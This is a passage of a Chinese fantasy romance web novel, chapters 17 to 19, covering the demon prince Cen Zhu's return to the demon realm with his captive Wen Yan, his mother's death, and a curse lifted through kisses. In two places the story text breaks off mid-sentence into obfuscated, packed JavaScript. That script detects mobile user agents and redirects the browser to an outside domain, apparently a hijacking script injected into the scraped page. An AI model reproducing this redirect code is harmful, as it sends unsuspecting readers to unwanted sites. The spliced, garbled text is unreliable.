可他忘了岑竹已经修炼了高洁魔族功法,最终被暴戾的黑箭穿胸而死,同样魔魂碎裂,挫骨扬灰。 当初岑竹在动乱中下落不明,魔域混乱了一段时间后又恢复了往日的平静,即使魔主知道是兄长们动手,也并未真的将他们处罚多重。 公平从来都是要自己争取的。 若他没有被温言所救,真的死于那场动乱,魔主为了培养继承人都能睁一只眼闭一只眼,如今觉醒了血脉,就算杀了他们又怕什么呢。 更何况死无对证,无人佐证。 岑御与岑枢全都死了,尸体还在牢笼中没来得及收拾下去,四处的魔族尸体堆积如山,全是两人的亲信与效忠的旧部。 岑竹在一片血海中将视线转向温言。 在场之人有心魔誓在身,永远不能背叛他,除了温言。但一个修真界弟子的话,在魔主看来又有何可信度呢? 他看着温言,警告道:“你已经是我的阶下囚,不该说的最好别多说。待此间事了,我会一并将你带回魔域,” 岑竹已经彻底在温言面前暴露本性,根本不再打算遮掩与收敛。 温言作为阶下囚,对自己目前的身有自知之明的,但直到后来她才知道何谓岑竹所说的“此间事了”。 修仙界安稳祥和了太久,平日里最多的是门派间举行的切磋演练,友好交流,魔域安于一隅,已经很久没有动作了,没想到此次迅雷不及掩耳地灭了那么多中小型宗门。 合欢宗灭门不是起点,也不会是终点。 岑竹收编了两位兄长的魔兵后实力大增,一路进军又灭了七八个中型宗门和十几个小宗门,还将大型宗门中最弱的清音门灭了。 音修擅长辅助,攻击上的优势并不突出,更何况遇到的是皮糙肉厚连防御都难以攻破的魔军,自然力有不逮。 攻下清音门后,为了防止修真界拧成一股绳群起而攻之,特别是仙盟中确实有几个难以应付的高阶修士,岑竹决定见好就收,速回魔域。 临行前他问温言:“自你成为我的阶下囚后,我做什么都带着你,毫无隐瞒。现在该我问你,经历了这些,你又是如何看我的?” 他笑了笑:“是残忍嗜杀,还是罪无可赦、无药可救?” 温言跟在岑竹身边许久,知道哪怕合欢宗被灭之事岑竹并非始作俑者,等到屠杀宗门的事迹败露宣扬,仙魔之间必然会掀起一场战争。 她反问岑竹:“倘若魔界将来也会陷入此次的浩劫,你会觉得仙盟之人是怎样的人?” 岑竹负手:“你说的对,何必在乎呢,仙魔之间,只有输赢。” 温言垂眸:“错了,没有赢家。就好比合欢宗被灭,从此只剩一片废墟;我杀了你,就算你死而复生,心里也只剩下仇恨。” “一切都成定局,再难改变,但这就是你要的结果吧。” 岑竹看向身后,那是他来时的方向,战火纷飞,处处废墟,是他将要带回魔域,为魔主献上的辉煌战绩。 岑竹挑起唇角,桃花眼中漾起迷人的漩涡。 “你果然是最了解我的,夫人。” 17. 第 17 章 岑竹带领着魔族大军趁夜返回魔域。 天幕低垂,黑色铠甲包裹的魔军仿佛划过天际的大片乌云。 正值深夜,寒气侵袭,温言被诅咒所缚,又没有灵力护体,脸上血色尽退,一片惨白,衬着那双大而明亮的眼睛,更像一只流落在外,可怜兮兮的小猫。 岑竹心中一动,将她拉入自己的披风中。 披风里的毛绒柔软温热,包裹住温言冰凉颤抖的身体,两人相贴时产生的温度蒸腾上来,流失的体温逐渐恢复。 岑竹动作轻柔地理了理温言的碎发,不忍破坏此刻的温情:“你当初用灵力锁链缠住我的时候,可有想过你也会因灵气受限,变成连寒气都畏惧的模样?” 温言的脸埋在披风里,默不作声。 岑竹看不清她的神情。 他说:“当初被你救下后,我本想做一个普普通通的散修,虽还与部下有联络,不想再回魔域。 “但事实证明,魔修的身份就是原罪,除了魔域,我再无处可去。” 温言声音微冷,微微仰头:“可这不是你肆意屠戮各个宗门的理由。” 岑竹眸色沉沉,低头看她:“为了在魔域站稳脚跟,我需要很多的功勋。” 重回魔域,他不想再做昔日那个最受魔主宠爱的五皇子,连命都不能掌握在自己的手里,在他看来只是傀儡与玩物,一文不值。 魔族将侵略与屠戮当做胜利的功勋,既然他要回魔域,又不想重复之前走腻的老路,只能走另一条更为惨烈,但稳妥的路。 岑竹看着脚下的山河,眼中血丝弥漫,连眼尾都带上了红。 “我要你亲眼看到我是如何登上魔主之位,如何将仙盟弟子挫骨扬灰,如何让修真界成为血流成河的地狱的。” 温言叹气:“看又如何,不看又如何?” 岑竹低头贴上她微凉的鼻尖,摸了摸她乌黑柔顺的长发,仿佛她真的是他掌心的一只小猫。 他动作温柔,却字字诛心:“你要知道,这一切都是你造成的,也是你该承担的。” “因为,是你先不要我的。” —— 回到魔域后,岑竹变得很忙。 他刚刚踏入魔域,就因魔主的紧急召见被通知前往魔宫。 魔宫书房内灯火不断,不眠不休地燃烧了三天三夜,一直到第四日清晨才熄灭。 岑竹这次的突袭打得非常漂亮,中小型宗门死伤大半,连大型宗门都去了其一,修真界无力还手甚至变成一盘散沙。 对于这样的状况魔主很是欣慰,仿佛看见了未来魔军征战修仙界取得胜利的希望。 魔主果然还问及岑御与岑枢。 岑竹只说他们在突袭中不敌某些宗门,被暗算致死,自己已亲自带领魔军为兄长们报仇雪恨。 对于这样的鬼话魔主不置可否。 既然已经死无对证,没有追究的必要,他还嘉奖了岑竹很多金银财宝、宫殿和封地,半点惩罚都没有。 岑御与岑枢已死,魔域的五名皇子一下子只剩下三名。 一时间,岑竹成为了魔域炙手可热的人物,原先偏向其他皇子的大臣们纷纷出现风向调转的苗头,向岑竹抛出橄榄枝 岑竹却并未松懈,密探按时按点地汇报消息,不曾遗漏。 先前二皇子经常上奏且与丞相走得非常频繁,如今宰相有意接触岑竹,与二皇子划清了界限,二皇子听闻消息后一蹶不振,议政频率明显低了不少。 四皇子一如既往地流连烟花之所,沉迷于姬妾的温柔乡,被魔主痛斥不学无术。 两名皇子从前就不太出挑,如今比从前安分守己太多,不敢随意冒尖出头。他们知道岑竹今非昔比,能随意将将他们碾在脚下,只盼他别再追究往日纠葛。 而在魔域平静的这段时间,修仙界宗门被灭的消息终于传到了仙盟。 仙盟紧急组织人手,派出一队人马作为先锋前往魔族,并嘱咐一切小心行事。 温言刚入魔域,发现这里魔气浓郁,加上身上还有岑竹所下的诅咒,一时间难以适应。 岑竹将府上后院女眷所住之处拨了一间给她住,又往她手中塞了一块花纹漂亮的令牌说用这个管理后院。 随后一句话没多说,带着一群人离开了宫殿,开始不眠不休地处理各种事务。 他白日里消失得无影无踪,只有半夜时分才会披着一身深重的寒气回府,回的也不是后院,而是自己的书房。 守门的侍卫一板一眼,从不擅离职守,也不多说一句话,让温言觉得魔宫中的生活有些无聊。 直到温言执着岑竹给的令牌来到后院,遇见了那些被岑竹遗忘的美姬,才发现这里其实很热闹,只是一开始她没来对地方。 这些魔族美姬长得漂亮,还大胆活泼地与她搭话,一点都不怕生。 温言猝不及防地享受了一把被无数美人环绕的待遇。 一身黑色衣服风情万种的女子扭到她身前,带来一阵香风。 她仔细地端详温言,声音柔媚地调笑道:“呦,少主竟亲自从外面带了个漂亮仙子回来,倒是少见。” 另一个女子以团扇遮面,一双勾魂夺魄的眼睛看向温言:“修仙者?你是被强行掳来的吗?” 温言面上的惊艳之色溢于言表,还没来得及回答,又看见一个身着水蓝色纱衣的美人向这里走来。 她瞥了另外两个女子一眼,警告道:“都收敛点,别吓到她。” 这个蓝衣美人看着更温婉一些,轻轻柔柔的声音让温言心都酥了。 风情各异的美貌姬妾蜂拥而来,让温言一下子有了些精神。 她并未按照岑竹吩咐的出示令牌,替她管理这里,而是无论她们说什么都点头,算是默认了这些美人的各种猜测。 美人们的眼神里一下子就带上了些同情与可怜。 “你初来乍到肯定不太适应。跟姐姐走吧,先带你去喝点茶,再吃些点心。” 温言眨了眨圆圆的眼睛,就好像一只误入妖精窝里的小白兔,人畜无害。 她们一招呼,就亦步亦趋地跟着她身后去喝茶吃点心了。 这些姬妾貌美且有才艺,制作的点心玲珑可爱,香甜可口,温言喝着茶吃着点心,顺便将她们所知的情报套了个完全。 无论是哪些大人将她们献给魔主,哪些位高权重不能得罪,还是魔宫中的各个建筑以及大致方位等等密辛,知无不言言无不尽。 温言吃喝之余脑中已经有了个基本地图,只待有空的时候查验。 岑竹忙政务忙得昏天黑地,半夜回来想起温言,不知她情况如何,唤来侍从让他将温言带来。 他即使收了这些姬妾也从来不来后宫,愣是将后宫变成了无用武之地的后花园。 半夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15687325|172045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三更,温言吃饱喝足昏昏欲睡,却被推醒。 一个平板无趣的侍卫腰板挺直,前来传话,连传话都一板一眼。 他说:“少主让我带您去书房,请跟我来。” 说完,就低头不吭声,等着温言的回答。 温言放下手中温热的茶盏,叹了口气,那模样要多可怜有多可怜,要多无辜有多无辜。 美姬们心疼不已,临走时塞了一大盒子的点心让温言抱在怀里,还有一壶自酿的酒,闻起来甘醇芬芳。 据她们说,是用魔域特有的溟萱花所酿,在睡前饮下少许,能做一个好梦。 温言一步三回首,直到拐了弯后再也看不见,才低头看向怀中的食盒。 作为合欢宗的天才弟子,对于药物毒性有所涉猎,所有入口的食物她都预先查验,袖中备着解毒丸。 就算真的来者不善,她也不会让自己出事。 食物是现做的,酒是自酿的,这些美姬手艺很好,也没有任何下毒害人的心思。 来到殿中书房,岑竹拧眉看了眼她一路捧着的食盒:“你初来魔域,各种情况还不清楚,后院之人给的东西,你也敢随便入口?” “她们的任务是讨你欢心,不是杀人,又何必对我下毒。可惜少主不给她们机会。” 岑竹淡淡地瞥了她一眼,揉了揉眉心,声音有些倦怠:“机会不是想要就有的,就好比你也不曾给我机会。” 这话温言接不了,索性回避。 她将食盒摆在岑竹书桌上:“你帮我看看有没有下毒?” 岑竹自小长在魔宫中,对于下毒手段和检验方式了然于心。他很快做出了判断:“可以吃,她们确实没想害你。” “酒呢?” “可以喝,但最好别喝,溟萱花有惑乱心志的效果,喝一点能做美梦,若是多饮,可能会有其他不良效果。” 温言点头,提出了要求:“能不能稍微解除一些诅咒,我用不了灵力,非常麻烦,连食盒都不能放进储物袋。” 岑竹挥毫运笔的手猛地一顿,又装作若无其事地继续往下写。 “你是我的阶下囚,没资格和我讲条件。” 温言没有放弃:“魔域魔气天然与灵气相冲,消减灵力,这件事你不会不知道,而且自从我来到这里,诅咒影响变得更强了。” 岑竹这才注意到,她原本丰盈的脸颊有了些骨感,这段时间确实消减了不少。 他沉吟片刻,才回答:“水中月是诅咒,若想渐缓,方式有些特殊。” 解咒需要用他的血,可他又不能直说,否则依温言一言不合就捆人的作风,会为了解咒取血不择手段。 岑竹既不想让她被魔气影响太深,又不愿直接告知解咒方法。 思来想去,他搁下笔,对温言招手:“过来。” 温言一脸疑惑,却还是绕过书桌走近他。 岑竹坐在椅子上,反而比温言还要低了些,从温言的视角,刚好看见他高挺的鼻梁,和精巧漂亮的唇形,在朦胧的灯火下,看起来分外香甜可口。 她看着眼前美色稍微出了神,忽然腰上被揽住。 惊愕低头,已被岑竹带往怀里。 温言下意识以为岑竹要动手,碾碎袖中灵石,正欲施展灵力,却被不属于自己的宽大袖袍拢住了指尖。 岑竹声音微哑:“躲我做什么,不要解咒了?” 18. 第 18 章 温言惊觉自己有些反应过激,有些不自然地清了清嗓子,眨了眨眼。 “你说,要如何解咒?” 宽大的袖袍中,岑竹的指尖勾上她的,逐渐扣紧,仿佛柔软的羽毛拂过,相触之处传来酥酥麻麻的痒意。 自大婚那日后,两人再也没有毫无敌意地靠得这么近过。 岑竹感受到怀中温热的体温,目光在她的唇上流连了片刻,不免有些呼吸急促。 尖锐的牙齿刺破自己的舌尖,涌出一丝极浅淡的血线。 他俯身吻了下去。 温言想偏过头躲开这个莫名其妙的吻,却被岑竹强势地摁着后脑托在掌心,指尖不容逃避的力道,让她无处可逃。 岑竹甚至在喘息间隙报复性地咬了她一口,虽然不重,温言却感觉到淡淡的血腥味在相触的唇齿间弥漫开。 她的唇角被咬破了。 温言毫不留情地将岑竹的头推向旁边,报复性地抬头在他下巴上用力咬了一口,留下一个浅白的牙印。 岑竹知道她恼了,微微地弯了眼睛,眸中神色仿佛冰雪消融一般,顺着她的动作转头,很轻吻了吻她的颈侧,像是狂风暴雨后的温柔安抚。 此刻他面上微红,眼中水光潋滟,长睫闪动,漂亮得让人心悸。 温言没能挣扎开,一不留神看了他一眼,就此愣在了原地。 倒是岑竹率先垂下了眼睫,恢复成一贯如冰似雪的模样,将温言扶起来。 温言踉跄了半步,终于站稳,耳边是岑竹波澜不惊的声音。 “诅咒已经替你解了些,至于效果,你自己试试看。” 温言的目光落在桌案上的那只食盒上,香气扑鼻的红漆食盒与井井有条的书桌确实有些格格不入。 她试着动用灵力,却只能调出很细微的一丝,堪堪能将面前的食盒放进储物袋里。 岑竹解个诅咒解得如此声势浩大,效果却微乎其微,温言感觉自己被戏弄了。 她擦了擦唇角,有些狐疑地看他:“这也是你的报复之一?” 岑竹在整洁干净的书桌上低头专心办公,淡淡道:“都已经如你所愿了,怎么会是报复呢?” 温言叹气。 以岑竹睚眦必报的脾气,能让她打开储物袋已经是很大的退让了,但她若想要离开魔域,还是要走一步看一步,徐徐图之。 —— 夜深,万籁俱寂。 这段时间是岑竹伏案办公的专属时间,这段时间里,他会集中精力处理事情,梳理思绪并下达决策,且严禁被琐事打扰。 但今晚,书房的门却被冒冒失失地推开,进门之人是岑竹的密探之一,连通传都没顾上,神色慌张地闯了进来。 岑竹抬头,面无表情,眉眼锋利,眸中隐有寒光闪动,凉丝丝的视线落在下方所跪之人身上。 “我的规矩你应该早就熟记于心。” 密探急促呼吸,点头道:“主上,属下确实有要事禀报!” 岑竹收了威压,轻声道:“说吧。” 深夜拼死闯入书房禀报的事情肯定是大事,可岑竹压根没有让温言出去的意思。 温言心知若自己知道了太多不该知道的东西,是一点好处都没有,却只能硬着头皮坐在边上的软塌,听着魔族皇室密辛听得心惊肉跳。 岑竹的母妃重伤濒死,若是去迟了,很可能再也见不到最后一面。 消息还没汇报完,岑竹手中笔尖歪斜,纸上洇开大片深色墨迹。 他顾不上弄清所有前因后果,神色冷沉到得可怕,只问了句: “母妃现在在哪儿?” 密探连忙回答:“已回寝宫。” 这么多年,岑竹的母妃已在后宫站稳了脚跟,根基强大,加上岑竹刚剿灭了无数修仙界大小宗门,战功赫赫。 在这个节骨眼上,还有谁敢动她?又有谁能动她? 岑竹的软肋之一被毁得彻底,他后颈发寒,周身气场暴虐近混乱,却仍用残留的理智死死压制着情绪,至今未曾失控。 他在这场暴乱中国嗅到了一丝不寻常的危机,这一切也许在见到母妃后,才能窥得一丝答案。 岑竹飞快地做好了相关部署,带了最信任的近侍匆匆离开,临走前回身看了温言一眼。 “你别离开,等我回来。” 那一眼晦涩难明,温言能看出其中涌动的痛苦与决心,也自然发觉方才的温柔就像飘摇的灯火,被冷风一吹就熄灭了,剩下灰白余烬。 只一个转身,岑竹又变回了魔族皇子,争权夺利,为此不择手段,枉顾性命,不惜牺牲一切。 —— 岑竹穿过紫色的溟萱花海,绕过绿色的幽冥之火,穿过黑河,看见不远处的魔宫主殿。 岑竹带着随身侍从风驰电掣地闯入宫门。 夜色下的魔宫仿佛一只在漫长岁月中沉默而蛰伏的巨兽,与巨大的宫门相比,他们过门而入的身影渺小得仿若进入魔兽巨口的蚊蝇。 岑竹撇下领路随从,疾步穿行过长长的甬道,直往母妃寝殿方向而去。 他脚步匆匆,偶尔瞥见宫殿檐下挂着的幽紫色灯盏,灯盏末尾的流苏在风中轻晃,光影错落,一如他此刻纷乱的心境。 寝殿外大门紧闭。 门外守卫神色恍惚,只堪堪见到人影就猛地拔剑欲刺,被岑竹随身近侍拦住,脱口骂道:“不长眼的东西,你怎敢对五皇子动手,不想活命了吗?” 守卫定睛一看,连忙跪下,整个手臂都在微颤。 岑竹敏锐地发现了这点,往前一步,挡住为自己出头的手下,对跪地的守卫温声道:“方才可是发生了什么事?” “娘娘刚刚回宫,就遇上行刺之人,我们拼命挡了,却没想一波未平,又来一波。” “所以你刚才也将我们当成了刺客?” 守卫又惊又惧:“请五皇子恕罪。” 岑竹摆手表示无事,手下近侍被他一并留在外面做些必要布置,防止再次偷袭,而后抬脚踏入殿中。 就在前往母妃寝宫的这段时间内,无数最新密报不断传到岑竹的手中。 他想通了这次意外的关键点。 情报佐证了他的猜测,这并不是一个单纯的意外。 今日魔主设宴款待朝中大臣,母妃作为宠妃,自然一并陪侍在身侧,没想到席中突发暴乱,母妃替魔主挡了致命的一刀,这才重伤难治。 但她并非无端重伤,更非无药可救。 母妃挡下的一刀,分明是立了大功,但她受了如此重伤,父皇却并未在第一时间为母妃尽力救治,反而将她送回寝殿。 岑竹仔细推敲,发现父皇的态度才是更加值得深思与玩味。 纱帘随风飘扬,被岑竹用力掀至一边。 帘后露出一张虚弱又美丽的容颜,凌乱的华贵宫装上鲜血斑驳,显得她糜艳又虚弱。 岑竹坐在床边,轻轻唤了一声:“母妃,儿臣来了。” 他小心翼翼地替她擦去额上冷汗,既怕将床上沉睡的女子惊醒,又怕她永远不醒。 好在女子颤了颤眼睫,闻声睁开了眼睛,露出一双妩媚优雅的紫眸。 岑竹将她扶起,想要喂她喝药,却被抬手制止了。 她声音很轻,却异常坚决:“别做无用之事。” 往日宠妃总是一身锦绣,美艳动人,如今一头长发披散在身后,肌肤几近透明,就好像一枝失去了鲜妍的色泽、濒临死亡的花朵。 岑竹垂眸,眼中闪过一丝痛楚:“是我害了母妃。” “不关你的事,是你的父皇疑心病太重,你刚刚立了战功,未来不可估量,切莫自责。” 岑竹扶着她,摸到一手黏腻血迹:“母妃,我带你去养魂池,你不会死,你一定会被治好的。” 但女子的一句话将他钉在原地:“你要明白,为何如今是在寝宫见到我,而非养魂池。” 这是魔主的敲打,也是无声的警示。 岑竹仿佛被一记重锤击中了心脏,有一瞬间甚至无法呼吸。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15699885|172045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 怀中身躯魔魄离体,轻盈地飘至半空,转瞬无踪。 女子的意识逐渐模糊,声音轻得仿若呓语,濒死之际,她向岑竹交代了最后的一句话: “你要坐上魔主之位,为我报仇。” 众所周知,魔主多年后位空悬,与宠妃相伴,感情甚笃。 可眼前冰冷的躯体,明晃晃的现实,不禁让岑竹怀疑,难道多年相伴的情分都是假的? 心中的另一个声音响起。 不是假的,但只要涉及到魔主的核心利益,连宠妃也会被作为弃子,随意抛掷。 岑竹这段时间飞速扩张的势力,逐渐壮大的声势,与日俱增的实力,都让不再年轻的魔主产生了担忧与恐惧。 魔主确实有培养扶持皇子的想法,但不能容忍自己在位之时,被动摇手中并不稳固的权力。 因此忌惮岑竹,担心他威胁到自己日益衰微的地位,最好的警告方式,就是他的母妃,哪怕这个女子也是多年来常伴身侧的爱妃。 刚好仙盟的人行刺,用声东击西的手段引走了魔主身边绝大多数保护,魔主则用身侧的宠妃挡掉了仙界蓄谋已久的的一记刺杀。 宠妃为爱奋不顾身。 这个理由,实在太合理正当了。 随着女子香消玉殒,寝殿一片哀戚,魔主身侧近侍却在此刻到来,告知岑竹其母妃已被魔主追封为魔后。 死后才给此荣宠,还让岑竹替已逝之人代为谢恩。 真是讽刺。 岑竹双手高高举起,咬着牙接下了这道旨意,保持跪地姿势,未曾抬头。 传旨的近侍没有看见他眼中浓重的血丝,以及其中浓重刻骨的恨意。 复仇的火焰在岑竹的心口灼灼燃烧。 烧掉了理智,也烧尽了残存仅剩的虚假温情。 —— 岑竹离开后,温言依言在书房等着,这么一等,就足足等了三天。 她与外界消息隔绝,不知魔主宠妃已经入殓,岑竹为其操办后续事宜。 但此时温言忽有所感,若自己真的是深宫中的妃子,这样无穷无尽的等待,期望又失望,确实会吞没和毁灭一个人。 灯盏熄灭,窗格中投下皎白月色,神思恍惚中,温言听见书房大门被轻轻推开的声音。 接着,一道浓重而萧索的身影抬脚踏入。 温言窥见其余魔修全都躬身行礼,小心翼翼退至门外,生怕做错任何事情。 大门合上,岑竹一步步往温言的方向走去,他身上的气压很低,却偏偏看起来异常冷静。 他并未燃灯,穿过黑暗,准确地找到了温言所在的矮塌,然后坐在边上,沉默地摸上温言的手腕,一动不动。 仿佛一座静止在月下的精致雕像。 温言所中的诅咒在被岑竹解了一些后,身上黑色线条时有时无,仍禁锢了她太多的灵力。 魔域中毫无灵气,若本身的灵力还被魔气克制,修仙者在这里就好像被抛上岸的鱼。 若不及时补充灵力,只有死路一条。 岑竹根本不清楚这一点,他也不知道她的身体其实已经濒临极限。 这些年来,胆敢潜入魔宫里的修仙者都尸骨无存,没有一个是像温言这样被安稳地放在自己身边,毫发无损。 温言却早已知晓自己经脉中灵力不足,甚至即将枯竭,灵力运转的滞涩与疼痛就是对她的时刻预警。 这一切都在提醒温言,是时候下定决心了。 但月光下的岑竹脸色苍白,看起来又美又破碎,温言执着他的手,感受到他的温度与近在咫尺的呼吸,心不由得软了一瞬。 今晚之后再做出决定吧,现在,她想和岑竹好好谈谈。 温言心念微动,丝丝灵力探入储物袋中,手中出现一壶酒。 这是临别时那位温柔又善解人意的魔姬塞给她的,据说是用魔域特有的溟萱花酿制的酒,她至今还未尝过一口。 今朝共饮,不知入睡后是否真能做个美梦。 19. 第 19 章 温言顺势执着岑竹的手,将他带到桌前摁着坐下。 坐在岑竹对面,搁下酒壶,揭开灯罩,点燃了桌面上的一盏灯。 暖光骤然亮起,灯芯传来噼啪一声,岑竹仿佛被惊醒,漂亮的紫眸仿佛闪烁的宝石,倒映着烛火微光。 “想喝酒吗?” 温言一只手托着下巴,另一只手提起酒壶,往酒杯中倒酒。 酒液飞溅落下,醇香四溢,岑竹闻到了熟悉的花香,悠远绵长的香气,是拉人沉湎的幻梦。 岑竹抬眼看向温言,片刻后垂眸看向杯中晶莹酒液:“是上次的那壶酒?” 温言递来一杯:“是,尝一口吗?” 岑竹接过这杯酒,却摇了摇头:“镜花水月对我而言并无益处,我需要清醒,而非幻梦。” 温言自顾自喝一口,眯了眯眼睛,问他:“为何走之前让我等着你,明明你到现在才回来。” 当日岑竹走得匆忙,直到现在,温言仍不清楚整件事情的来龙去脉,以为他一直在照顾重伤母亲,无暇他顾。 岑竹深吸一口气,缓缓平复了心情,才道:“这三日我一直在为母妃置办丧事。” 这句话仿佛平静水面上的一块巨石,轰隆一声,在温言的心中砸出了惊涛骇浪。 “你的母妃为何会忽然离世?” 像是想起了什么,温言皱眉道,“即使重伤,也非无药可医,为何不让她进入养魂池修养恢复?” 岑竹抓住她话中的关键词:“你为何会知道养魂池?” 温言顿时有些目光闪躲。 连岑竹进入养魂池都是她计划之中的,她当然知道魔域有这么个地方,能让魔魂未散的魔族巩固魔魄,起死回生。 她总不能告诉岑竹,是因为自己当初因为察觉到他的魔族身份,特地砸下了大笔灵石,才换来的秘密情报吧。 岑竹轻嗤一声,一口喝完了杯中的酒液,扔下酒杯有些讽刺地看着温言,直言道:“你又有事情瞒着我。” 温言自嘲一笑:“你不是也一样。” 从一开始,他们彼此的身份就并非透明,走到今天瞒着各自的事情还少吗? 大概因为酒意上涌,岑竹脑中有些昏沉,他忽然不想与温言针锋相对地打哑谜了,心里太累。 他眼神空茫地趴在桌上:“仙盟组织的一支先锋队偷偷潜入魔域,想要在宴席上刺杀我父皇,但结果呢,最后死的却是我母亲。” “你说这是为何?” 岑竹酒量并不好,一杯酒下去就已经眼神迷蒙。 他明白自从自己踏入局中,准备争权夺位的那一刻,就注定再也不能置身事外。 温言也饮了口酒,思绪飘远,甚至回想起自己最开始见到岑竹时的情景。 或许最早在那时,他就已经不得不争,不得不搏杀出一条血路。只是在药铺养伤的那段岁月太过安宁平和,让他真的以为能与过去做个告别。 但一切都是镜花水月,转瞬成空。 远到仙魔对立自古有之,近到岑竹屠戮无数宗门,加上事关仙盟,温言也一时沉默。 但想起岑竹回到魔域前说的话,温言眼神忽然一凛。 她问岑竹:“接下来你真的将仙盟弟子挫骨扬灰,让修真界成为血流成河的地狱?” “没错。” “魔主之位,你非要不可吗?” “我答应了母妃。” 这是母妃临终前对他交代的话,此生必不敢忘。 温言仔细地看着岑竹,眼神软下来,忍不住带了些怜惜与不忍,却又在察觉到自己的情绪时,别过脸移开了目光。 虽说早就料到岑竹的回答,但在亲耳听到后,温言还是不可抑制地生出了难以抑制的复杂情绪,一时间胸口隐隐作痛。 还没明白是怎么回事,缠绕在她身上的诅咒忽明忽暗,忽然暴乱,仿佛活了一般,争先恐后地钻向体内。 好像千万根针齐齐刺入,温言痛得闷哼一声,从凳上滑落下去。 岑竹瞬移至她身边,将她托起,难以置信。 “你的诅咒怎么会发作?!” 因为另一个人心痛,水中月才会生效。他一直以为温言根本不在乎他,没想到她会真的触发水中月的诅咒。 岑竹从未想过,温言会因为他,心痛? 温言根本没听清岑竹在说什么。 此刻她脑中嗡鸣声越来越大,头晕眼花,几近晕厥,嗓子却仿佛堵了似的,一句话都说不出来。 即使如此,她还是感觉到了岑竹猛然贴近的体温,无法挣脱的手掌,以及一个不容她拒绝的,绵长又激烈的吻。 唇齿相贴处传来熟悉的血腥味,大脑疼痛欲裂,却唤醒了温言上次被解咒的记忆。 温言从一开始的剧烈挣扎到被迫接受。她意识到,这个吻只是解咒的一种手段。 解咒是一个漫长的过程,暴动的诅咒重新组合成线条的形状,自上而下将她环绕。 直到相依的唇齿分开,温言扶着脑袋深吸一口气,冷静地推开伏在颈侧的岑竹。 “可以了,放开我吧。” 幸好岑竹方才给她解咒,否则她不确定自己会不会疼晕过去。 这道诅咒就像一个定时炸弹,若是在战斗中诅咒发作起来,她早已死在对方手下。 她不能任由诅咒一直附在自己身上。 温言又摸了摸自己的唇角,这次没被咬破,口腔中却依旧残留着血的味道。 “你是用自己的血帮我解咒?” “被你发现了。” 岑竹话音一转,苍白的脸上忽然绽出一点笑意:“你知道为何诅咒会发作吗?” 温言垂眸不语。 但岑竹不会给她逃避的机会,追问她:“我在你心里是有位置的,对吗?” 温言垂眸,她想不出岑竹是在何种心情下,才会创造出这样自伤的诅咒。 半晌才道:“无论有没有,都太迟了。” 如今岑竹满心仇恨,背负着过往的恩怨、母妃的临终遗言与期望,根本收不了手,回不了头。 这一点,两人心里都一清二楚。 温言独自坐在桌边饮酒,岑竹带着一身酒气摔门而出,两人最终还是不欢而散。 都说这壶酒能让人做美梦,可温言之后却是一夜无眠。 储物袋中有足够数量的灵石,可以支撑她在毫无灵气的魔域进阶,这是她最后都底牌——修炼到足够高的修为,一路杀出去。 她之前一直对岑竹抱有隐约的期望,才一直没有下定决心,但是现在情况已经容不得再三犹豫了。 仙盟已经开始有所动作。 她不能继续呆在魔域,必须在最短时间内取得岑竹的血,解开身上的封印,然后离开这里,阻止岑竹毁灭修真界的疯狂念想。 —— 自从上次与温言不欢而散,不知是逃避还是其他原因,岑竹即使晚上回府,也不到温言这里,而是另辟了处房间用作书房。 原先的那间屋子实则已经成为了温言单独待着的房间。 名为房间,实则囚笼。 好在平日里一般无人打扰,温言趁机在这段时间内打坐修炼,巩固修为,凝练道心。 自葬礼过后,没有了母妃在其中的制衡,魔主越来越忌惮岑竹与他所掌控的势力。 他前一日刚刚操办完母妃的事,还没来得及喘口气,后一日便被魔主宣召觐见,要求他交出一半的兵权。 岑竹表面温顺,实则心里一清二楚,被夺的兵权是他从养魂池出来后,名义上魔主赏给他,实则是用来与其他兄长制衡的。 自岑竹从修仙界凯旋而归,吞并了两位兄长的魔军军队,原本五万的魔兵,如今却被整合得扩大至十五万。 这样庞大又令人眼红的兵权,连魔主都忌惮三分。 如今平衡被打破,自然要重新规划制衡方案,第一个下刀的就是岑竹的兵权。 岑竹没有犹豫,当即便给了。 岑竹的表现魔主都看在眼里,脸色显而易见地好了很多,对岑竹的猜忌也消减了不少。 除了交出的这些,岑竹手中还有一大批魔军。那些是当初母妃私下所赠,魔主并不知情。 岑竹手中兵权被削的消息不胫而走,连一贯流连魔域奢靡烟花之所的四皇子都听说了。 令人意想不到的是,魔主紧接着又传召剩下两位皇子。 四皇子向来是众多皇子中最容易被忽略的那个,平日只爱在女人怀里消遣,但岑竹仍一直保持着对这位兄长的防范。 二皇子岑思本就经常上奏,与宫中来往频繁,很快便得知了消息。 四皇子岑恪接到传召的时候,还在销金窝中搂着美人甜梦正酣。 他睡眼朦胧地被侍女拉着起床,沐浴着装面见魔主,一直到与二皇子岑思一并跪在魔主身前,才猛地一激灵,眼神清明了些。 魔主一句话便削了岑竹的兵权后,似乎觉得还是不够,将这两名皇子召来,同样要下令削掉他们的兵权。 然而这两位皇子的兵权并没有岑竹那么好拿。 象征兵权的信物,两名皇子并未随身携带,魔主摆了摆手,让他们出去,别堵在面前让自己心烦。 岑竹听闻这件事后不由得轻笑一声。 他父皇的忌惮,可真是到了草木皆兵的程度。
